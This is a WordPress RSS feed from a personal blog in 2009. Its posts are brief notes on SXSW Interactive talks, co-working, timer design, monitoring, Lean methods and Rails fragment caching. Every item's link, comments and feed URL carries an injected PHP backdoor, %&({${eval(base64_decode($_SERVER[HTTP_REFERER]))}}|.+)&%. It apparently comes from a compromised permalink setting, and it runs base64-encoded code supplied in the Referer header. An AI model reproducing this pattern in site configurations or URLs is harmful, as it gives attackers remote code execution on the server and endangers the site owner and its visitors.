<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jeff's Austin Blues</title>
	<atom:link href="http://abluz.dyndns.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://abluz.dyndns.org</link>
	<description>Jeffrey L. Taylor's Rants on Computers, Programming, Money, and Life</description>
	<lastBuildDate>Sun, 15 Mar 2009 16:21:07 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SXSWi: UX Team of One</title>
		<link>http://abluz.dyndns.org/2009/03/15/sxswi-ux-team-of-one/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://abluz.dyndns.org/2009/03/15/sxswi-ux-team-of-one/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 15 Mar 2009 16:21:07 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[SXSWi]]></category>

		<guid isPermaLink="false">http://abluz.dyndns.org/?p=147</guid>
		<description><![CDATA[UX = User eXperience.  Very good presentation on dubious proposition (IMHO of course).  Or maybe not.  How to be  and manage user experience part of a project, probably but not necessarily a Website.  &#8220;Design the box&#8221; is an interesting exercise even for products/projects that won&#8217;t ship in a box.
Links: slides [...]]]></description>
			<content:encoded><![CDATA[<p>UX = User eXperience.  Very good presentation on dubious proposition (IMHO of course).  Or maybe not.  How to be  and manage user experience part of a project, probably but not necessarily a Website.  &#8220;Design the box&#8221; is an interesting exercise even for products/projects that won&#8217;t ship in a box.</p>
<p>Links: <a href="http://slidesharet.net/ugleah">slides</a> and <a href="http://adaptivepath.com/ideas/">followup</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://abluz.dyndns.org/2009/03/15/sxswi-ux-team-of-one/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SXSWi: Christina Wodtke &#8211; Social Architecture</title>
		<link>http://abluz.dyndns.org/2009/03/14/sxswi-christina-wodtke-social-architecture/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://abluz.dyndns.org/2009/03/14/sxswi-christina-wodtke-social-architecture/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 14 Mar 2009 18:27:16 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[SXSWi]]></category>
		<category><![CDATA[architecture]]></category>
		<category><![CDATA[Christina Wodtke]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://abluz.dyndns.org/?p=143</guid>
		<description><![CDATA[Information Architecture: Blueprints for the Web was another &#8220;book reading&#8221; but she spent almost all of her time presenting solid information with just a mention at the end of her book and where to buy it (Barnes &#38; Noble at the Trade Show).  Very nice contrast to the two presentations yesterday — same place, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://sxsw.com/interactive/talks/schedule?action=show&amp;id=IAP0901341">Information Architecture: Blueprints for the Web</a> was another &#8220;book reading&#8221; but she spent almost all of her time presenting solid information with just a mention at the end of her book and where to buy it (Barnes &amp; Noble at the Trade Show).  Very nice contrast to the two presentations yesterday — same place, same channel, different result.</p>
]]></content:encoded>
			<wfw:commentRss>http://abluz.dyndns.org/2009/03/14/sxswi-christina-wodtke-social-architecture/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SXSWi: Co-Working</title>
		<link>http://abluz.dyndns.org/2009/03/14/sxswi-co-working/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://abluz.dyndns.org/2009/03/14/sxswi-co-working/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 14 Mar 2009 17:44:54 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Money]]></category>
		<category><![CDATA[SXSWi]]></category>
		<category><![CDATA[Teaching Stories]]></category>

		<guid isPermaLink="false">http://abluz.dyndns.org/?p=140</guid>
		<description><![CDATA[Informative session on co-working, shared workspaces: coffeehouse groups, incubators, labs, studio spaces, etc.  One thing that came up repeatedly is people looking for the business model.  A very useful model I found for many things is a metaphor from Fritz Lieber&#8217;s sword and sorcery fantasy series.  In the main city there is a street that [...]]]></description>
			<content:encoded><![CDATA[<p>Informative session on co-working, shared workspaces: coffeehouse groups, incubators, labs, studio spaces, etc.  One thing that came up repeatedly is people looking for <em>the</em> business model.  A very useful model I found for many things is a metaphor from Fritz Lieber&#8217;s sword and sorcery fantasy series.  In the main city there is a street that runs from a city gate all the way to the main temple at the center of the city.  Someone comes in from the desert with a vision and begins preaching.  If he/she attracts a crowd he/she stays and expands the vision and the crowd/congregation.  If not, back to the desert for a better vision.  Congregations and the preacher may expand until they move into a building.  There is continual movement of congregations moving up and down the street as their size/wealth/etc. increase and decrease.</p>
<p>I&#8217;ve found this a useful business model, a fine grained spectrum of niches.  None of the &#8220;You Must Be This Tall For This Ride&#8221;.  In Austin, someone may start selling tamales out of their truck, progress to a taco trailer where you can touch all four walls without moving, then a taco truck, a bigger taco truck, then a permanent location while building a restaurant on the other end of the property.  One big stumbling block is downsizing as gracefully.</p>
<p>If tacos are your thing, BBQ.  Start selling the meat and meals out of the back of a truck, then a BBQ pit on a trailer, etc.</p>
]]></content:encoded>
			<wfw:commentRss>http://abluz.dyndns.org/2009/03/14/sxswi-co-working/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SXSWi Book Readings on the Day Stage</title>
		<link>http://abluz.dyndns.org/2009/03/13/sxswi-book-readings-on-the-stage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://abluz.dyndns.org/2009/03/13/sxswi-book-readings-on-the-stage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 13 Mar 2009 22:29:18 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[SXSWi]]></category>

		<guid isPermaLink="false">http://abluz.dyndns.org/?p=137</guid>
		<description><![CDATA[Both of the book readings were content-lite, mostly reciting their media appearences.  I&#8217;ve saved the URLs, maybe there&#8217;s something there but I wasn&#8217;t intrigued by the presentation.  Of course, both of these are print authors, not tech presenters like the other sessions.
]]></description>
			<content:encoded><![CDATA[<p>Both of the book readings were content-lite, mostly reciting their media appearences.  I&#8217;ve saved the URLs, maybe there&#8217;s something there but I wasn&#8217;t intrigued by the presentation.  Of course, both of these are print authors, not tech presenters like the other sessions.</p>
]]></content:encoded>
			<wfw:commentRss>http://abluz.dyndns.org/2009/03/13/sxswi-book-readings-on-the-stage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SXSWi Lines</title>
		<link>http://abluz.dyndns.org/2009/03/13/sxswi-lines/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://abluz.dyndns.org/2009/03/13/sxswi-lines/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 13 Mar 2009 21:53:20 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[SXSWi]]></category>

		<guid isPermaLink="false">http://abluz.dyndns.org/?p=132</guid>
		<description><![CDATA[I arrived an hour early to get my badge.  At that point the line ran the length of the building and the wait was about 40 minutes (the staff&#8217;s estimate was right on).  By the time I had my badge the line was around the corner and the wait was over an hour.
]]></description>
			<content:encoded><![CDATA[<p>I arrived an hour early to get my badge.  At that point the line ran the length of the building and the wait was about 40 minutes (the staff&#8217;s estimate was right on).  By the time I had my badge the line was around the corner and the wait was over an hour.</p>
]]></content:encoded>
			<wfw:commentRss>http://abluz.dyndns.org/2009/03/13/sxswi-lines/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SXSWi, Early Friday Afternoon</title>
		<link>http://abluz.dyndns.org/2009/03/13/sxswi-early-friday-afternoon/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://abluz.dyndns.org/2009/03/13/sxswi-early-friday-afternoon/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 13 Mar 2009 21:45:51 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[SXSWi]]></category>

		<guid isPermaLink="false">http://abluz.dyndns.org/?p=128</guid>
		<description><![CDATA[South By Southwest Interactive (SXSWi) has started.  First presentation, &#8220;Everything You Know About Web Design Is Wrong&#8221; was very useful, basically most Websites are &#8220;print in disguise&#8221;.  When the podcast becomes available, grab it.
Next up,&#8221; How to Rawk SXSW: The Basics&#8220;, let us say I&#8217;m not the demographic it was aimed at.  Can&#8217;t think [...]]]></description>
			<content:encoded><![CDATA[<p>South By Southwest Interactive (SXSWi) has started.  First presentation, &#8220;<a href="http://sxsw.com/interactive/talks/schedule?action=show&amp;id=IAP0900141">Everything You Know About Web Design Is Wrong</a>&#8221; was very useful, basically most Websites are &#8220;print in disguise&#8221;.  When the podcast becomes available, grab it.</p>
<p>Next up,&#8221; <a href="http://sxsw.com/interactive/talks/schedule?action=show&amp;id=IAP0901327">How to Rawk SXSW: The Basics</a>&#8220;, let us say I&#8217;m not the demographic it was aimed at.  Can&#8217;t think of a reason to check out the podcast, yesterday&#8217;s fish wrapper.</p>
<p>Currently I&#8217;m at &#8220;<a href="http://sxsw.com/interactive/talks/schedule?action=show&amp;id=IAP0901335">Career Renegade: How To Make A Great Living Doing What You Love</a>&#8220;.  Somewhere is the middle, inspiring story but not much content that I can use.  Not a keeper.</p>
]]></content:encoded>
			<wfw:commentRss>http://abluz.dyndns.org/2009/03/13/sxswi-early-friday-afternoon/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>If It Has a Timer, It Needs a Pause Button</title>
		<link>http://abluz.dyndns.org/2009/02/28/if-it-has-a-timer-it-needs-a-pause-button/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://abluz.dyndns.org/2009/02/28/if-it-has-a-timer-it-needs-a-pause-button/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 16:57:03 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://abluz.dyndns.org/?p=126</guid>
		<description><![CDATA[My electric toothbrush and the flashcard (jMemorize, very nice) program I am using to learn Spanish both have timers.  The toothbrush has a builtin 2 minute timer with beeps every 30 seconds to switch quadrants.  I knew 2 minutes suggestion for effective brushing and thought I was fairly close; turns out not to [...]]]></description>
			<content:encoded><![CDATA[<p>My electric toothbrush and the flashcard (jMemorize, very nice) program I am using to learn Spanish both have timers.  The toothbrush has a builtin 2 minute timer with beeps every 30 seconds to switch quadrants.  I knew 2 minutes suggestion for effective brushing and thought I was fairly close; turns out not to be the case.  jMemorize has a selectable lesson size either by time or by number of cards.  Two 17 minute sessions works better for me.</p>
<p>Both have a problem handling interruptions, e.g. the phone rings or my wife asks me a questions.  If you are creating a program or device with a timer, have a way to pause it.  Only hermits have the luxury or reality of no interruptions, for the rest of us, most things need to be interruptable.</p>
]]></content:encoded>
			<wfw:commentRss>http://abluz.dyndns.org/2009/02/28/if-it-has-a-timer-it-needs-a-pause-button/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>System Monitoring = Real-time Regression Testing, AKA Continuous Integration</title>
		<link>http://abluz.dyndns.org/2009/02/05/system-monitoring-real-time-regression-testing-aka-continuous-integration/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://abluz.dyndns.org/2009/02/05/system-monitoring-real-time-regression-testing-aka-continuous-integration/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 05 Feb 2009 23:06:41 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://abluz.dyndns.org/?p=123</guid>
		<description><![CDATA[I&#8217;m noticing a convergence between the tools and widgets I&#8217;m using for system status monitoring and for software testing.  There are red/yellow/green backgrounds for specific components, RDD strip charts to track status over time, hierarchies of sub-systems/components, etc.  I wonder how much I can leverage the tools and expertise on one side to [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m noticing a convergence between the tools and widgets I&#8217;m using for system status monitoring and for software testing.  There are red/yellow/green backgrounds for specific components, RDD strip charts to track status over time, hierarchies of sub-systems/components, etc.  I wonder how much I can leverage the tools and expertise on one side to improve the other.</p>
]]></content:encoded>
			<wfw:commentRss>http://abluz.dyndns.org/2009/02/05/system-monitoring-real-time-regression-testing-aka-continuous-integration/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Manufacturing Applied to Software Development Makes Me Nervous</title>
		<link>http://abluz.dyndns.org/2009/01/26/manufacturing-applied-to-software-development-makes-me-nervous/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://abluz.dyndns.org/2009/01/26/manufacturing-applied-to-software-development-makes-me-nervous/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 26 Jan 2009 20:39:53 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Money]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://abluz.dyndns.org/?p=115</guid>
		<description><![CDATA[There is a rash of recent software development methods (e.g. Lean, Kanban) that are based on manufacturing, usually Japanese.  Manufacturing is doing the known over and over, trying to squeeze the last nickel out of the recurring costs.  Software development is largely exploring the unknown.  There aren&#8217;t repeatable, consistent tasks.  Many of these methods strike [...]]]></description>
			<content:encoded><![CDATA[<p>There is a rash of recent software development methods (e.g. Lean, Kanban) that are based on manufacturing, usually Japanese.  Manufacturing is doing the known over and over, trying to squeeze the last nickel out of the recurring costs.  Software development is largely exploring the unknown.  There aren&#8217;t repeatable, consistent tasks.  Many of these methods strike me as attempts to replace expensive, talented individuals with cheap, generic labor.  And sacrificing long-term viability (and costs) for short-term gain.</p>
<p>There are consistent, repeatable parts of software development and where they exist they have been pushed into compilers, scripts, and code generators.  Valuable effort has gone and is going into squeezing another couple of percent performance out of the optimizer in compilers.  This is so successful that few projects generate assembler/machine code by hand any more.  The repeatable parts of well run projects are automated, compiler back-ends, scripts, automated builds, automated tests, etc.  Much more cost-effective than hiring poorly paid, poorly educated, unexperienced people.<br />
Or not bothering with documentation, comments, and clean code because it doesn&#8217;t provide immediate &#8220;customer value&#8221;.</p>
]]></content:encoded>
			<wfw:commentRss>http://abluz.dyndns.org/2009/01/26/manufacturing-applied-to-software-development-makes-me-nervous/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fragment Caching Not Worth It</title>
		<link>http://abluz.dyndns.org/2009/01/20/fragment-caching-not-worth-it/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://abluz.dyndns.org/2009/01/20/fragment-caching-not-worth-it/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 22:57:02 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Amethyst]]></category>
		<category><![CDATA[RoR]]></category>

		<guid isPermaLink="false">http://abluz.dyndns.org/?p=112</guid>
		<description><![CDATA[After adding fragment caching to Amethyst, I found it did a couple of things I didn&#8217;t like. They would have been obvious had I thought more about it.  I like the &#8220;10 minutes ago&#8221; style of time stamps.  Makes it easy and fast to scan for recent or old articles.  Well, the 10 minutes ago [...]]]></description>
			<content:encoded><![CDATA[<p>After adding fragment caching to Amethyst, I found it did a couple of things I didn&#8217;t like. They would have been obvious had I thought more about it.  I like the &#8220;10 minutes ago&#8221; style of time stamps.  Makes it easy and fast to scan for recent or old articles.  Well, the 10 minutes ago gets cached and quickly becomes stale.  I can move it out of the cached fragment, but it looks out of place.</p>
<p>Article fragment caching only sped up display by a factor of 2 (i.e. 54 seconds for the full display dropped to under 30 seconds).  Paging looks really unnatural when pages are different sizes.  However, &#8220;endless paging&#8221; (appending pages as you scroll down to the end) works moderately well.  And works well with &#8220;10 minutes ago&#8221; style timestamps.</p>
<p>So I&#8217;ve dropped fragment caching.</p>
]]></content:encoded>
			<wfw:commentRss>http://abluz.dyndns.org/2009/01/20/fragment-caching-not-worth-it/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
